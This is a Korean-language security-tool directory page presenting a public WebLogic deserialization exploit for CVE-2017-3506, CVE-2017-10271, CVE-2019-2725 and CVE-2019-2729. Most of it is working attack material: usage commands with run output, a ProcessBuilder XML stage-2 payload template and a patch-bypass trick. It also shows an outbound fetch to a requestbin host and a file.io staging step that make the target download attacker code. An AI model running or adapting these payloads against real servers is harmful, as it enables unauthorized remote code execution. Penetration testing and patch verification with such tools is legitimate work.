Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-2725 — WebLogic 안전하지 않은 역직렬화 - CVE-2019-2725 페이로드 빌더 및 익스플로잇 | Kitploit
도구/GitHubGitHub/pimps/cve-2019-2725
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlShellcode Generation
GitHubpimps/cve-2019-2725

CVE-2019-2725

WebLogic 안전하지 않은 역직렬화 - CVE-2019-2725 페이로드 빌더 및 익스플로잇

저장소 보기
52116년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-2725

WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 페이로드 빌더 및 익스플로잇

정보 / 도움말

root@kitploit:~
$ python3 weblogic_exploit.py -h

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

usage: weblogic_exploit.py [-h] [-pl PAYLOAD] [-ep ENDPOINT] [-c CMD] [-j]
                           [-u URL] [-y YSOSERIAL] [-tr TERMINAL] [-px PROXY]
                           target

positional arguments:
  target                               대상 서버

optional arguments:
  -h, --help                           이 도움말 메시지를 표시하고 종료합니다
  -pl PAYLOAD, --payload PAYLOAD       사용 가능한 페이로드 중 하나를 선택합니다: (기본값: fs_xml_app_ctx)
                                       		- process_builder (CMD - 모든 버전)
                                       		- unit_of_work_change_set (SERIAL - 10.x 버전)
                                       		- event_data (CMD - 12.x 버전)
                                       		- fs_xml_app_ctx (URL - 모든 버전)
  -ep ENDPOINT, --endpoint ENDPOINT    설정된 엔드포인트 중 하나를 선택합니다: (기본값: 자동)
                                       		- wls_wsat (CMD 출력)
                                       		- _async (Blind Exec)
  -c CMD, --cmd CMD                    실행할 명령어 (기본값: whoami)
  -j, --jdk6                           CVE-2019-2729 활성화 ('class' 우회). 주의: JDK 1.6에서만 동작합니다!
  -u URL, --url URL                    스테이지2를 가져올 URL. 'URL' 페이로드와 함께 사용됩니다 (기본값: None)
  -y YSOSERIAL, --ysoserial YSOSERIAL  사용자 정의 YSOSERIAL 페이로드 파일. 'SERIAL' 페이로드와 함께 사용됩니다 (기본값: None)
  -tr TERMINAL, --terminal TERMINAL    사용 가능한 터미널 중 하나를 선택합니다: cmd, bash, powershell, none (기본값: bash)
  -px PROXY, --proxy PROXY             프록시를 http://127.0.0.1:8080/ 형식으로 설정합니다 (기본값: None)

이 스크립트는 유효한 WebLogic SOAP 페이로드를 생성하여 이 웹 서버에서 다양한 CVE를 익스플로잇합니다.

사용 예제

SERIAL 페이로드를 사용할 때, 동적으로 ysoserial 페이로드를 생성하도록 cmd를 전달하거나, 수동으로 ysoserial 페이로드를 생성하여 -y 인자로 스크립트에 전달할 수 있습니다.

동적으로 ysoserial 페이로드를 생성하려면 https://github.com/pimps/ysoserial-modified/blob/master/target/ysoserial-modified.jar 를 다운로드하여 이 스크립트와 같은 디렉토리에 배치해야 합니다.

unit_of_work_change_set 페이로드는 weblogic 10.x 버전에서만 동작하는 것으로 잘 알려져 있습니다. 예:

root@kitploit:~
pimps$ java -jar ysoserial-modified.jar Jdk7u21 bash 'nslookup your.server.com' > ysoserial_payload.bin
pimps$ python3 weblogic_exploit.py -y ysoserial_payload.bin -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] YSOSERIAL 페이로드 크기: 3182
[+] Weblogic SOAP 페이로드가 성공적으로 생성되었습니다...
[+] 익스플로잇을 실행 중...
[+] 폭탄이 전달되었습니다... 서버 응답:

HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:39:52 GMT
Content-Length: 0

pimps$ python3 weblogic_exploit.py -c 'nslookup your.server.com' -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] YSOSERIAL 페이로드 크기: 3027
[+] Weblogic SOAP 페이로드가 성공적으로 생성되었습니다...
[+] 익스플로잇을 실행 중...
[+] 폭탄이 전달되었습니다... 서버 응답:

HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:46:33 GMT
Content-Length: 0

URL 페이로드(FileSystemXmlApplicationContext)를 사용하면 자신의 XML을 호스팅하여 -u 인자로 전달하거나, 익스플로잇이 임시 페이로드 파일을 생성하여 https://file.io 에 호스팅하도록 할 수 있습니다! 이 페이로드는 익스플로잇 단계에서 생성되며, 서버가 원격으로 가져오면 삭제됩니다. 자신의 페이로드를 호스팅하려면 다음 템플릿을 사용하십시오:

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xsi:schemaLocation="http://www.springframework.org/schema/beans 
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[echo "this is my bash command, change terminal if needed"]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

이 페이로드는 모든 버전의 WebLogic에서 동작하는 것으로 잘 알려져 있습니다. 단점은 스테이지2 페이로드를 가져오기 위해 대상 서버의 외부 연결이 필요하다는 점입니다. 이 페이로드를 사용하는 예는 아래와 같습니다:

root@kitploit:~
$ python weblogic_exploit.py -tr powershell -c 'Invoke-WebRequest http://requestbin.net/r/h4x31337' -pl fs_xml_app_ctx -px http://127.0.0.1:8080 https://target.server.com

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[-] 스테이지2 URL이 제공되지 않았습니다... 지금 저장 중...
[+] 스테이지2 페이로드가 성공적으로 저장됨: https://file.io/IbCIbg
[+] Weblogic SOAP 페이로드가 성공적으로 생성되었습니다...
[+] 익스플로잇을 실행 중...
[+] 폭탄이 전달되었습니다... 서버 응답:

HTTP/1.1 202
Connection: close
Date: Tue, 27 Aug 2019 07:42:24 GMT
Content-Length: 0

마지막으로, process_builder 페이로드는 가장 일반적인 익스플로잇 페이로드(metasploit 모듈)로, class= 블랙리스트에 패치되지 않은 WebLogic 버전에서 작동합니다. 이 페이로드는 명령 출력을 요청 응답 본문에 출력하도록 사용자 정의되었습니다. 사용 예:

root@kitploit:~
pimps$ python3 weblogic_exploit.py -c "id; uname -a" -pl process_builder http://localhost:7001/

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] Weblogic SOAP 페이로드가 성공적으로 생성되었습니다...
[+] 익스플로잇을 실행 중...
[+] 폭탄이 전달되었습니다... 서버 응답:

HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 12:30:26 GMT
Transfer-Encoding: chunked

uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

업데이트

2019-08-29

event_data 페이로드에 대한 지원이 추가되어 명령 출력이 응답 본문에 포함됩니다. 사용 예:

root@kitploit:~
$ python3 weblogic_exploit.py -c 'id; uname -a' -pl event_data http://localhost:7001

========================================================================
|                      WebLogic Universal Exploit                      |
|    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
|                               by pimps                               |
========================================================================

[+] Weblogic SOAP 페이로드가 성공적으로 생성되었습니다...
[+] 익스플로잇을 실행 중...
[+] 폭탄이 전달되었습니다... 서버 응답:

HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 07:37:26 GMT
Transfer-Encoding: chunked

uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

크레딧: 이 GitHub에 게시된 페이로드의 일부를 사용하여 명령 결과를 응답 본문에 출력했습니다 (https://github.com/lufeirider/CVE-2019-2725/blob/master/CVE-2019-2725.py). 공유해 주셔서 감사합니다 @lufeirider.

2019-09-26

CVE-2019-2729에 대한 지원이 추가되었습니다. 이는 <class> </class>를 <array method="forName"> </array>로 변경하는 우회 방법입니다. 이 우회 방법은 이 JDK 버전이 XMLDecoder를 통해 XML 데이터를 파싱하는 방식의 차이로 인해 JDK 1.6에서만 작동합니다.

명령 인자 -j/--jdk6가 익스플로잇 스크립트에 추가되었습니다.

도구 다운로드